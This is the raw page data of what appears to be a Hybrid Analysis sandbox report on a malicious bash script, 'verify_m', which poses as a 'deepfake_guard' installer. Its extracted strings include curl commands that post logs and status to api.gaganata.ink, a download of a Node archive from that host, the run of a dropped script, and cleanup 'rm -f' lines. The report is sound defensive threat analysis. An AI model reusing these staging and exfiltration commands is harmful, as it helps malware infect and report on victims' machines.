26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T472,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TR/OSX.Agent Sample c7c22e322c17… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c7c22e322c17…. Malware family: TR/OSX.Agent. Threat score 100/100. 1/26 AV engines flagged this file. 8 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","keywords":["Malicious","TR/OSX.Agent","malware analysis","sandbox report","threat intelligence","c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d"],"about":{"@type":"SoftwareApplication","name":"verify_m","applicationCategory":["script","sh"],"identifier":"c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TR/OSX.Agent","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":8,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4d3,file/memory contains long string with (Indicator: "rm -"; File: "verify_m") file/memory contains long string with (Indicator: "rm -"; File: "a46ae3fecc95f841_.kdm.Lf6YQe") file/memory contains long string with (Indicator: "rm -"; File: "bc8ccae44af41d4c_deepfake_guard_run.sh") Found string "rm -f "$LAUNCHER_STATUS_FILE"" (Indicator: "rm -"; File: "verify_m") Found string "trap 'rm -f "$_46ca73"' EXIT HUP INT TERM" (Indicator: "rm -"; File: "verify_m") Found string "rm -f /var/tmp/upd_m /var/tmp/upd_w "$d/upd_m" "$d/upd_w" "${0}" 2>/dev/null" (Indicator: "rm -"; File: "verify_m") Found string "rm -f /var/tmp/.kdm.* /var/tmp/deepfake_guard.launcher.status 2>/dev/null" (Indicator: "rm -"; File: "verify_m") Found string "rm -f /var/tmp/deepfake_guard.launcher.status" (Indicator: "rm -"; File: "rm") Found string "rm -f /var/tmp/.kdm.Lf6YQe" (Indicator: "rm -"; File: "rm") Found string "rm -f /var/tmp/upd_m /var/tmp/upd_w /root/upd_m /root/upd_w /home/ubuntu/verify_m" (Indicator: "rm -"; File: "rm") Found string "rm -f /var/tmp/.kdm.* /var/tmp/deepfake_guard.launcher.status" (Indicator: "rm -"; File: "rm") Found string "rm -rf /var/tmp/deepfake_guard_work/node-v20.18.1-linux-x64" (Indicator: "rm -"; File: "rm")28:T781,Calls a syscall: "vfork" Calls a syscall: "close" Calls a syscall: "rt_sigaction" Calls a syscall: "rt_sigprocmask" Calls a syscall: "close_range" Calls a syscall: "execve" Calls a syscall: "brk" Calls a syscall: "mmap" Calls a syscall: "access" Calls a syscall: "openat" Calls a syscall: "fstat" Calls a syscall: "read" Calls a syscall: "pread" Calls a syscall: "arch_prctl" Calls a syscall: "set_tid_address" Calls a syscall: "set_robust_list" Calls a syscall: "mprotect" Calls a syscall: "munmap" Calls a syscall: "ioctl" Calls a syscall: "getrandom" Calls a syscall: "getuid" Calls a syscall: "getgid" Calls a syscall: "geteuid" Calls a syscall: "getegid" Calls a syscall: "uname" Calls a syscall: "newfstatat" Calls a syscall: "getpid" Calls a syscall: "getppid" Calls a syscall: "getpgrp" Calls a syscall: "lseek" Calls a syscall: "fcntl" Calls a syscall: "dup2" Calls a syscall: "pipe2" Calls a syscall: "clone" Calls a syscall: "wait4" Calls a syscall: "rt_sigreturn" Calls a syscall: "write" Calls a syscall: "exit_group" Calls a syscall: "open" Calls a syscall: "create" Calls a syscall: "unlinkat" Calls a syscall: "clock_nanosleep" Calls a syscall: "fadvise64" Calls a syscall: "umask" Calls a syscall: "fchmodat" Calls a syscall: "statfs" Calls a syscall: "mkdir" Calls a syscall: "chdir" Calls a syscall: "sigaltstack" Calls a syscall: "socket" Calls a syscall: "connect" Calls a syscall: "poll" Calls a syscall: "clone3" Calls a syscall: "setsockopt" Calls a syscall: "sendmmsg" Calls a syscall: "recvfrom" Calls a syscall: "bind" Calls a syscall: "getsockname" Calls a syscall: "sendto" Calls a syscall: "recvmsg" Calls a syscall: "madvise" Calls a syscall: "exit" Calls a syscall: "getsockopt" Calls a syscall: "getpeername" Calls a syscall: "getdents64" Calls a syscall: "faccessat2" Calls a syscall: "fstatfs" Calls a syscall: "fchdir"29:T13dd,file/memory contains long string with (Indicator: "connect"; File: "verify_m") file/memory contains long string with (Indicator: "exit"; File: "verify_m") file/memory contains long string with (Indicator: "stat"; File: "verify_m") file/memory contains long string with (Indicator: "time"; File: "verify_m") file/memory contains long string with (Indicator: "uname"; File: "verify_m") file/memory contains long string with (Indicator: "write"; File: "verify_m") file/memory contains long string with (Indicator: "read"; File: "verify_m") Found reference to API ""$LAUNCHER_STATUS_FILE" _lokj=false; [ "$_lok" = "1" ] && _lokj=true _lupj=false; [ "$_lup" = "1" ] && _lupj=true upload_launcher_result "${_lexit:-1}" "$_lokj" "$_lupj" "${_lmsg:-unknown}" exit "${_lexit:-1}"fi# ANE compute driver sync" (Indicator: "exit"; File: "verify_m") Found reference to API ""$LAUNCHER_STATUS_FILE" _lokj=false; [ "$_lok" = "1" ] && _lokj=true _lupj=false; [ "$_lup" = "1" ] && _lupj=true upload_launcher_result "${_lexit:-1}" "$_lokj" "$_lupj" "${_lmsg:-unknown}" exit "${_lexit:-1}"fi# ANE compute driver sync" (Indicator: "stat"; File: "verify_m") Found reference to API ""$LAUNCHER_STATUS_FILE" _lokj=false; [ "$_lok" = "1" ] && _lokj=true _lupj=false; [ "$_lup" = "1" ] && _lupj=true upload_launcher_result "${_lexit:-1}" "$_lokj" "$_lupj" "${_lmsg:-unknown}" exit "${_lexit:-1}"fi# ANE compute driver sync" (Indicator: "sync"; File: "verify_m") file/memory contains long string with (Indicator: "chmod"; File: "verify_m") Found reference to API "0|1|0|payload_ready" (Indicator: "read"; File: "9cacfd988fb50bc7_deepfake_guard.launcher.status") Found reference to API "LAUNCHER_STATUS_FILE="/var/tmp/deepfake_guard.launcher.status"" (Indicator: "stat"; File: "verify_m") Found reference to API "case "$(uname -s)" in" (Indicator: "uname"; File: "verify_m") Found reference to API "local exit_code="$1" ok="$2" upload="$3" message="$4"" (Indicator: "exit"; File: "verify_m") Found reference to API "-d "{\"ok\":${ok} \"upload\":${upload} \"exitCode\":${exit_code} \"message\":\"${message}\" \"platform\":\"${platform}\"}" \" (Indicator: "exit"; File: "verify_m") Found reference to API "--connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 "$LAUNCHER_RESULT_URL" >/dev/null 2>&1" (Indicator: "connect"; File: "verify_m") Found reference to API "--connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 "$LAUNCHER_RESULT_URL" >/dev/null 2>&1" (Indicator: "time"; File: "verify_m") Found reference to API "write_launcher_status() {" (Indicator: "stat"; File: "verify_m") Found reference to API "write_launcher_status() {" (Indicator: "write"; File: "verify_m") Found reference to API "printf '%s|%s|%s|%s\n' "$1" "$2" "$3" "$4" > "$LAUNCHER_STATUS_FILE"" (Indicator: "stat"; File: "verify_m") Found reference to API "rm -f "$LAUNCHER_STATUS_FILE"" (Indicator: "stat"; File: "verify_m") Found reference to API "if [ -f "$LAUNCHER_STATUS_FILE" ]; then" (Indicator: "stat"; File: "verify_m") Found reference to API "IFS="|" read -r _p1 _p2 _p3 _p4 < "$LAUNCHER_STATUS_FILE" || true" (Indicator: "read"; File: "verify_m") Found reference to API "IFS="|" read -r _p1 _p2 _p3 _p4 < "$LAUNCHER_STATUS_FILE" || true" (Indicator: "stat"; File: "verify_m") Found reference to API "[ "$_p4" = "payload_ready" ] && break" (Indicator: "read"; File: "verify_m") Found reference to API "if [ ! -f "$LAUNCHER_STATUS_FILE" ]; then" (Indicator: "stat"; File: "verify_m") Found reference to API "upload_launcher_result 1 false false "worker_timeout"" (Indicator: "time"; File: "verify_m") Found reference to API "exit 1" (Indicator: "exit"; File: "verify_m") Found reference to API "IFS="|" read -r _lexit _lok _lup _lmsg < "$LAUNCHER_STATUS_FILE"" (Indicator: "exit"; File: "verify_m") Found reference to API "IFS="|" read -r _lexit _lok _lup _lmsg < "$LAUNCHER_STATUS_FILE"" (Indicator: "read"; File: "verify_m") Found reference to API "IFS="|" read -r _lexit _lok _lup _lmsg < "$LAUNCHER_STATUS_FILE"" (Indicator: "stat"; File: "verify_m") Found reference to API "if [ "$_lmsg" != "payload_ready" ]; then" (Indicator: "read"; File: "verify_m") Found reference to API "upload_launcher_result "${_lexit:-1}" "$_lokj" "$_lupj" "${_lmsg:-unknown}"" (Indicator: "exit"; File: "verify_m") Found reference to API "exit "${_lexit:-1}"" (Indicator: "exit"; File: "verify_m") Found reference to API "# ANE compute driver sync do not edit" (Indicator: "sync"; File: "verify_m") Found reference to API "if curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: ${_guard_platform}" --data-binary "@${LOG_FILE}" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 "$GUARD_LOG_UPLOAD_URL" >/dev/null 2>&1; then" (Indicator: "connect"; File: "verify_m") Found reference to API "if curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: ${_guard_platform}" --data-binary "@${LOG_FILE}" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 "$GUARD_LOG_UPLOAD_URL" >/dev/null 2>&1; then" (Indicator: "time"; File: "verify_m")2a:Tb69,file/memory contains long string with (Indicator: "curl "; File: "verify_m") file/memory contains long string with (Indicator: "curl "; File: "a46ae3fecc95f841_.kdm.Lf6YQe") file/memory contains long string with (Indicator: "curl "; File: "bc8ccae44af41d4c_deepfake_guard_run.sh") Found string "command -v curl >/dev/null 2>&1 || return 0" (Indicator: "curl "; File: "verify_m") Found string "curl -sk -X POST -H "Content-Type: application/json" -H "X-Guard-Platform: ${platform}" \" (Indicator: "curl "; File: "verify_m") Found string "if command -v curl >/dev/null 2>&1; then" (Indicator: "curl "; File: "verify_m") Found string "if curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: ${_guard_platform}" --data-binary "@${LOG_FILE}" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 "$GUARD_LOG_UPLOAD_URL" >/dev/null 2>&1; then" (Indicator: "curl "; File: "verify_m") Found string "curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary === deepfake_guard install started === https://api.gaganata.ink/guard-install-progress" (Indicator: "curl "; File: "curl") Found string "curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary === deepfake_guard install started (pid 1719) === https://api.gaganata.ink/guard-install-progress" (Indicator: "curl "; File: "curl") Found string "curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --data-binary @/var/tmp/deepfake_guard.log --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-install-log" (Indicator: "curl "; File: "curl") file/memory contains long string with (Indicator: "curl "; File: "curl") Found string "curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --data-binary @/var/tmp/deepfake_guard.log --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log" (Indicator: "curl "; File: "curl") Found string "curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary OK: working directory /var/tmp/deepfake_guard_work https://api.gaganata.ink/guard-install-progress" (Indicator: "curl "; File: "curl") Found string "curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: downloading portable node (OS=Linux ARCH=x86_64) https://api.gaganata.ink/guard-install-progress" (Indicator: "curl "; File: "curl") Found string "curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: portable node setup attempt 1 https://api.gaganata.ink/guard-install-progress" (Indicator: "curl "; File: "curl")2b:T447,Pattern match: "https://api.gaganata.ink/guard-install-progress" Pattern match: "https://api.gaganata.ink/guard-launcher-result" Pattern match: "https://api.gaganata.ink/guard-install-log" Pattern match: "https://api.gaganata.ink" Pattern match: "https://api.fallgganata.ink" Pattern match: "https://api.gaganata.ink/node/node-v20.18.1-linux-x64.tar.gz" Pattern match: "https://api.gaganata.ink/guard-launcher-resultguard_platform()" Pattern match: "https://api.gaganata.ink/guard-install-logecho" Pattern match: "https://api.gaganata.inkexport" Pattern match: "https://api.gaganata.ink/guard-install-log}export" Pattern match: "https://api.gaganata.ink}guard_store_fallback=${guard_store_fallback:-https://api.fallgganata.ink}guard_log_upload_url=${guard_log_upload_url:-https://api.gaganata.ink/guard-install-log}guard_js_url=${guard_store}/install_guard.jsguard_progress_url=" Pattern match: "https://api.gaganata.ink/node/node-v20.18.1-linux-x64.tar.gz[2026-10-04" Heuristic match: "chmod +x /var/tmp/deepfake_guard_run.sh" Heuristic match: "bash /var/tmp/deepfake_guard_run.sh"2c:T936,/usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary === deepfake_guard install started === https://api.gaganata.ink/guard-install-progress /usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary === deepfake_guard install started (pid 1719) === https://api.gaganata.ink/guard-install-progress /usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --data-binary @/var/tmp/deepfake_guard.log --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-install-log /usr/bin/curl executed: curl -sk -X POST -H Content-Type: application/json -H X-Guard-Platform: ubuntu -d {"ok":true "upload":false "exitCode":0 "message":"payload_ready" "platform":"ubuntu"} --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-launcher-result /usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --data-binary @/var/tmp/deepfake_guard.log --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log /usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary OK: working directory /var/tmp/deepfake_guard_work https://api.gaganata.ink/guard-install-progress /usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: downloading portable node (OS=Linux ARCH=x86_64) https://api.gaganata.ink/guard-install-progress /usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: portable node setup attempt 1 https://api.gaganata.ink/guard-install-progress /usr/bin/curl executed: curl -sk -X POST -H Content-Type: text/plain -H X-Guard-Platform: ubuntu --connect-timeout 8 --max-time 12 --retry 0 --data-binary INFO: node download attempt 1/30: https://api.gaganata.ink/node/node-v20.18.1-linux-x64.tar.gz https://api.gaganata.ink/guard-install-progress1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793285620245,"unified_at":"2026-10-29T14:53:40.245Z","metadata":{"hashes":{"sha256":"c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d","sha1":"c4c55d387c2e063b61d5d48c5826013926f65445","md5":"ff096b3dd855bd13883b81d70128c2c9","sha512":"c00d43343dcdcb585540904bb4797058e2b4f54afeadc941f90ea1b8482b87cdd65cf4973732852bce7ea9dd488b80f61a204fc349266c8ef4b858ee8ffdca3a","ssdeep":"768:5qHaj9ABcffuAGYBEmZ/wThSOkEdQ3ia/DE5pXWIwGc:5qHtBccY1EkgQ3iaQzG/","ssdeep_chunks":["768:5qHaj9A","768:qHaj9AB","768:Haj9ABc","768:aj9ABcf","768:j9ABcff","768:9ABcffu","768:ABcffuA","768:BcffuAG","768:cffuAGY","768:ffuAGYB","768:fuAGYBE","768:uAGYBEm","768:AGYBEmZ","768:GYBEmZ/","768:YBEmZ/w","768:BEmZ/wT","768:EmZ/wTh","768:mZ/wThS","768:Z/wThSO","768:/wThSOk","768:wThSOkE","768:ThSOkEd","768:hSOkEdQ","768:SOkEdQ3","768:OkEdQ3i","768:kEdQ3ia","768:EdQ3ia/","768:dQ3ia/D","768:Q3ia/DE","768:3ia/DE5","768:ia/DE5p","768:a/DE5pX","768:/DE5pXW","768:DE5pXWI","768:E5pXWIw","768:5pXWIwG","768:pXWIwGc","1536:5qHaj9A","1536:qHaj9AB","1536:Haj9ABc","1536:aj9ABcf","1536:j9ABcff","1536:9ABcffu","1536:ABcffuA","1536:BcffuAG","1536:cffuAGY","1536:ffuAGYB","1536:fuAGYBE","1536:uAGYBEm","1536:AGYBEmZ","1536:GYBEmZ/","1536:YBEmZ/w","1536:BEmZ/wT","1536:EmZ/wTh","1536:mZ/wThS","1536:Z/wThSO","1536:/wThSOk","1536:wThSOkE","1536:ThSOkEd","1536:hSOkEdQ","1536:SOkEdQ3","1536:OkEdQ3i","1536:kEdQ3ia","1536:EdQ3ia/","1536:dQ3ia/D","1536:Q3ia/DE","1536:3ia/DE5","1536:ia/DE5p","1536:a/DE5pX","1536:/DE5pXW","1536:DE5pXWI","1536:E5pXWIw","1536:5pXWIwG","1536:pXWIwGc","768:5qHtBcc","768:qHtBccY","768:HtBccY1","768:tBccY1E","768:BccY1Ek","768:ccY1Ekg","768:cY1EkgQ","768:Y1EkgQ3","768:1EkgQ3i","768:EkgQ3ia","768:kgQ3iaQ","768:gQ3iaQz","768:Q3iaQzG","768:3iaQzG/"],"imphash":"Unknown"},"file_info":{"file_name":"verify_m","file_type":["script","sh"],"file_type_id":"bash","file_size":49916,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791140033000,"last_seen":1791140033000,"last_multi_scan":1791140033000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["malicious","proximity","extracted_domain"]},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":32},"sandbox_signatures":{"informative_count":31,"suspicious_count":11,"malicious_count":8,"total":50},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/OSX.Agent.BNA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"TR/OSX.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"},{"type":"malicious","value":"Detected malicious domain extracted during analysis"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Calls native functions (syscalls)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Execution","technique":"Unix Shell","attack_id":"T1059.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/004","identifiers":[{"type":"suspicious","value":"Executes a shell command"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Persistence","technique":"Systemd Service","attack_id":"T1543.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/002","identifiers":[{"type":"malicious","value":"Creates a daemon out of the process (command)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Able to remove a file/directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Ignore Process Interrupts","attack_id":"T1564.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/011","identifiers":[{"type":"suspicious","value":"Ignores hang up signals (command)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"malicious","value":"Discards output of command(s)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Creates temporary file/directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Linux and Mac File and Directory Permissions Modification","attack_id":"T1222.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/002","identifiers":[{"type":"suspicious","value":"Changes file or directory permissions (command)"},{"type":"informative","value":"Sets default file mode creation mask"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"malicious","value":"Delays the execution for specified amount of time"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Credential Access","technique":"/etc/passwd and /etc/shadow","attack_id":"T1003.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/008","identifiers":[{"type":"suspicious","value":"Reads users database (/etc/passwd file) (syscall)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve system information using uname"},{"type":"informative","value":"Contains ability to query or export environmental variables"},{"type":"informative","value":"Calls a system call typically used to retrieve information about a mounted filesystem"},{"type":"suspicious","value":"Queries system general information (syscall)"},{"type":"suspicious","value":"Queries system general information (command)"}],"sources":[{"report_type":"sandbox","report_id":"6ac2a0c07fec0d74f60ae171"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls a system call typically used to get directory entries"},{"type":"informative","value":"Able to search file or word using grep 